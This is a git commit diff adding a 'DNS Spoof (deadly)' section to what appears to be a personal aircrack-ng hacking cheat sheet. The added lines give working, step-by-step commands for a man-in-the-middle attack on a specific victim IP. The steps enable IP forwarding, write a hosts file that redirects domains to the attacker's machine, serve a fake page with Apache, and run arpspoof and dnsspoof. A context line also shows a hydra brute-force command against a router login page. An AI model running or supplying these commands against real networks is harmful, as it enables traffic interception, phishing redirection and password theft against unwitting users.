Updated cheat sheet

niallmerrigan · Sep 9, 2015 · 62f6409 · 62f6409
1 parent 4345005
commit 62f6409
Showing 1 changed file with 63 additions and 0 deletions.
diff --git a/aircrack-ng/cheatSheet.sh b/aircrack-ng/cheatSheet.sh
@@ -137,3 +137,66 @@ Most people don't change their default settings
 hydra http://[192.168.0.1]/login.html -e ns -F -V -t 4 -L <USERNAMES FILE> -P <PASSWORDS FILE>
 
 
+
+---------- DNS Spoof (deadly) ----------
+
+rfkill unblock all && airmon-ng check kill && airmon-ng start wlan1
+
+- Install if not already installed
+
+# Lets our computer act as a bridge and forward packets based on MAC rather than IP (like a router)
+apt-get install bridge-utils
+
+- Enable IP forwarding
+
+# Lets us determine the path where packets are sent, usually used by routers to decide which network to send data to 
+(do this every time)
+echo 1 > /proc/sys/net/ipv4/ip_forward
+
+
+********** Create DNS host file **********
+
+- We will create a fake DNS response
+- When the user asks for the IP of "bacon.com", we will give them our IP
+
+Our actual IP = 192.168.0.11
+
+# Desktop/spoofhosts.txt
+192.168.0.11 www*
+192.168.0.11 bacon.com
+
+
+********** Make fake website and start server **********
+
+To host file on own computer, create and save index.html to var/www/html/
+
+<!DOCTYPE html>
+<html>
+<head>
+	<title>Title</title>
+</head>
+<body>
+	<h1>Gametime</h1>
+</body>
+</html> 
+
+# Start apache
+apache2ctl start
+
+
+********** Start ARP and DNS spoofing **********
+
+We will constantly send the victim computer ARP answers telling him that the MAC address belonging to the IP of the router is our MAC address.
+
+- Tell the victim that our IP address is the routers
+- Also tell the router that we are the victim's IP
+
+Victims IP = 192.168.0.17
+Router = 192.168.0.1
+
+# New terminal for each
+arpspoof -t 192.168.0.17 192.168.0.1 && arpspoof -t 192.168.0.1 192.168.0.17
+dnsspoof -f Desktop/spoofhosts.txt host 192.168.0.17 and udp port 53
+
+
+